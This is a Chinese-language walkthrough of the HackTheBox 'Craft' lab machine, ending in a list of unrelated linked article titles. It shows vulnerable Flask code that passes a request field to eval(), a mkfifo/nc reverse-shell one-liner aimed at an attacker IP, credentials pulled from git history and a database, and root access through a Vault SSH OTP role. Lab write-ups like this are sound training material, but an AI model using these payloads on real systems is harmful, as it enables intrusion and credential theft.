目录

  • 前言
    • 0x00 nmap扫描
    • 0x01 web页面入手
    • 0x01 搜索数据库
    • 0x02 继续搜集repo
    • 0x03 提权
      • 第一种
        • 第二种
  • 参考资料

前言

  • IP: 10.10.10.110
  • 很接近真实环境的盒子,全靠信息泄露,(做了好久

0x00 nmap扫描

ports service
22 ssh
443 ssl/http

0x01 web页面入手

Craft aims to be the largest repository of US-produced craft brews accessible over REST. In the future we will release a mobile app to interface with our public rest API as well as a brew submission process, but for now, check out our API!

让我看api?看就看
页面右上角有link,不过访问之前需要首先配置一下hosts才能解析,在/etc/hosts加上:

10.10.10.110 craft.htb api.craft.htb gogs.craft.htb

可以访问两个子域名

domain content
gogs.craft.htb Gogs repository
api.craft.htb api测试

看看仓库里有啥,有一个api_craft,应该就是api页面源码?下载下来翻一翻

果然,包括两个api的源码auth以及brew,但是敏感信息都在一个settings的文件中,我们看不到。通过test.py(作者好人啊),我们知道api页面需要首先进行auth/login(用户名密码未知),然后才能使用brew接口。没找到啥敏感信息,就来审计一下接口文件,发现brew.py中有个eval,这可太happy了。

def post(self):"""Creates a new brew entry."""# make sure the ABV value is sane.if eval('%s > 1' % request.json['abv']):return "ABV must be a decimal value less than 1.0", 400else:create_brew(request.json)return None, 201

可以进行命令执行,因为查看作者测试api的test.py 可以知道这个"abv"参数是我们可以控制的,所以可以直接使用:

import(“os”).system()

思路有了,但是认证还没过呢,咱现在啥凭证没找着,咋认证呢,逛一逛gogs,有如下几个用户:

  • dinesh
  • ebachman
  • gilfoyle
  • administrator (扫目录扫出来的)

然后逛了逛它们的issues,咦,发现了token,屁颠屁颠跑去认证(虽然希望不大,但是试试嘛。。)果然不行,看到Token几个点就知道这时我们熟悉的朋友JWT了,解下码:

对照auth源码,user应该就是登陆的用户名了,这里我被困住了挺久的,拿到username脑子一热开始爆破,试了几个字典无果,应该不是弱密码。竟然这么久不知道看commit的历史记录,脑子昏了。
然后在repo的历史修改记录发现了不得了的东西:


这才是正解啊,终于拿到了一个凭据,那么下一步就开始执行命令,在api.craft.htb抓包,修改abv,执行反弹shell的命令,随后发现nc,bash,python常规反弹shell都不太管用,nc 版本不存在-e参数,但是使用命令nc ip port1 | /bin/bash | nc ip port2 一瞬间就断开连接了,最后找到这么一种利用重定向的nc反弹shell可以使用

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.13.141 7777 >/tmp/f

参考资料有反弹shell大礼包

0x01 搜索数据库

得到shell,发现直接是root, ???
后来发现有可能在docker里,看了看早就想看的settings.py,发现了一个数据库凭据,可能有用:

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

然后看看数据库里有啥,就直接修改他的dbtest.py了,可以发现很多用户:

[{‘id’: 1, ‘username’: ‘dinesh’, ‘password’: ‘4aUh0A8PbVJxgd’}, {‘id’: 4, ‘username’: ‘ebachman’, ‘password’: ‘llJ77D8QFkLPQB’}, {‘id’: 5, ‘username’: ‘gilfoyle’, ‘password’: ‘ZEU3N8WNM2rh4T’}]

0x02 继续搜集repo

在docker里挣扎了一段时间,啥也没发现,经过讨论区大佬的提醒,重新回到repo找东西(感觉这个盒子一直在找东西),我们可以利用上面获取到的cred进行登陆,然后在gilfoyle账户下有一个私人的项目(找到宝了)

有.ssh 当然是直接用id_rsa 进行ssh登陆啊,然后发现需要passphrase,原来使用密钥登陆也可以配置需要密码的,使用上面获取的密码登陆成功

0x03 提权

上面的私库下载的项目:

vault值得注意,vault是一种用于在现代应用程序体系结构中安全地管理机密信息的流行工具,很方便而且安全的一款工具,secrets中:

vault secrets enable sshvault write ssh/roles/root_otp \key_type=otp \default_user=root \cidr_list=0.0.0.0/0

在vault官方文档里翻一翻就可以知道otp是对ssh登陆的一种保护方式,一次一密,然后官方文档给了两种方法登陆,都是可行的。

第一种

首先输入
vault write ssh/creds/otp_key_role ip=x.x.x.x
这里otp_key_role 改成secrets中的root_otp
会返回给我们otp,即ssh登陆的密钥
然后直接进行正常的ssh登陆

第二种

直接使用
vault ssh -role otp_key_role -mode otp username@x.x.x.x
会直接给你otp,然后当密码输进去就行了


成功拿到root

参考资料

  • 反弹shell

Hackthebox-Craft (Machine Maker: rotarydrone)相关推荐

  1. HackTheBox –Craft实战

    HackTheBox –Craft ip:http://10.10.10.110/ 信息搜集 端口扫描:使用nmap扫描发现开了22(ssh)端口和443(http/ssl) 版本可从web网页上获取 ...

  2. web高德maker动画_Web Maker —我如何构建一个快速的离线前端游乐场

    web高德maker动画 by kushagra gour 由kushagra gour Web Maker -我如何构建一个快速的离线前端游乐场 (Web Maker - How I built a ...

  3. Hackthebox(1)系列持续更新

    Hackthebox第一关 文章目录 Hackthebox第一关 一.Hackthebox配置openvpn 配置openvpn 二.第0层(简单) 终端弄好以后点击产卵机,然后会给你创建一个实例 问 ...

  4. 机器学习入门1-译文-机器学习是什么以及它的重要性(machine learning--what it is and why it matters)

    本文目录索引 1.前言 1.0侵删 1.0.1 20200920首发 1.0.2 良心翻译 1.1 此系列说明 1.2 聊点机器学习 1.2.1 机器学习的定义 1.2.2 知识发现.机器学习.人工智 ...

  5. Machine learning strategies for systems with invariance properties( 具有不变性系统的机器学习策略 )2016年Julia Ling

    目录 摘要 1.介绍 2.方法 2.1不变基的结构 2.2建立机器学习模型 2.3机器学习算法 3.研究案例 3.1.湍流模型案例研究 3.1.1.问题阐述 3.1.2.不变性 3.1.3.数据集 3 ...

  6. [原创]夺棋赛HackTheBox OpenSource攻略

    最近很忙,方案,建模大赛的技术支持,再忙也不忘自身的修行学习,都是抽取下班后晚上的时间做的,搞了4天,最终拿下棋子. 简介 HackTheBox(缩写HTB),HTB是一个网络安全攻防竞技场,全球的顶 ...

  7. ajax machine tool,Machine Tool

    The world's largest Machine Tool Reference Archive - a growing collection of articles about Manufact ...

  8. 【课程作业】Adversary Instantiation: Lower Bounds for Differentially Private Machine Learning论文阅读报告

    0.论文信息 论文名字 Adversary Instantiation: Lower Bounds for Differentially Private Machine Learning 所属会议 I ...

  9. 香港创客的20个瞬间 - 图文记载港理大 Hong Kong Mini Maker Faire

    在小朋友的眼里,Maker Faire,是高大的变形金刚,是可以站着也可以坐着的双轮电动车,是戴着增强现实的眼镜可以看到的在空间里舞动的小人,是可以发出动听音乐的香蕉,是追逐着到处乱跑的遥控小车,是折 ...

最新文章

  1. 使用 P3P 规范让 IE 跨域接受第三方 cookie
  2. 没错,接单就是特简单!
  3. python语言format用法_python基础_格式化输出(%用法和format用法)
  4. 我的服装DRP之即时通讯——为WCF增加UDP绑定(应用篇)
  5. hazelcast入门教程_Hazelcast入门指南第4部分
  6. 微软的自动更新问题,导致svchost.exe占用cpu超过50%
  7. Hadoop设备实际上属于有待编排的超级计算机
  8. 《java入门第一季》之面向对象(成员方法)
  9. 中望cad自定义快捷键命令_[cad常用快捷键命令大全]中望cad常用快捷键及命令
  10. 支付宝转账到银行卡/隐藏部分卡号
  11. 飞鱼星的虚拟服务器设置,设置简单功能丰富 三步就能设置好_飞鱼星 G7_网络设备无线网络和技术-中关村在线...
  12. 【密码学基础】06 高级加密标准AES
  13. LINUX安装KDC服务
  14. VS1003调试例程
  15. matlab r2020a例题 2.1节 数据类型(下)
  16. 被黑指数MAX?浅聊汽车钥匙安全
  17. python笔记手写照片_用Python对手写笔记进行压缩与增强
  18. 解决shp数据图形数与表记录数不一致方法初探
  19. 【踩坑】ckeditor5缩进功能无法直接使用的问题解决,以及首行缩进功能
  20. 利用H5Canvas进行前端图片压缩再上传笔记

热门文章

  1. 深富策略:指数再度失守3500明天走势很关键
  2. Python 工具和库整理
  3. Ajax使用,爬取微博正文,点赞,评论数。
  4. TI AM64x——最新16nm处理平台,专为工业网关、工业机器人而生
  5. 如何把mkv转成mp4?
  6. 数据与广告系列十一:从性别预测的CASE开始手撕机器学习代码
  7. ThingWorx : 1、创建Thing
  8. 数据库:笛卡儿积、连接、等值连接、自然连接、外连接、嵌套循环连接、排序合并连接、索引连接和哈希连接
  9. sentinel 1.8. 2持久化Nacos动态规则热点规则和授权规则不生效的问题
  10. 腾讯云服务器安装mysql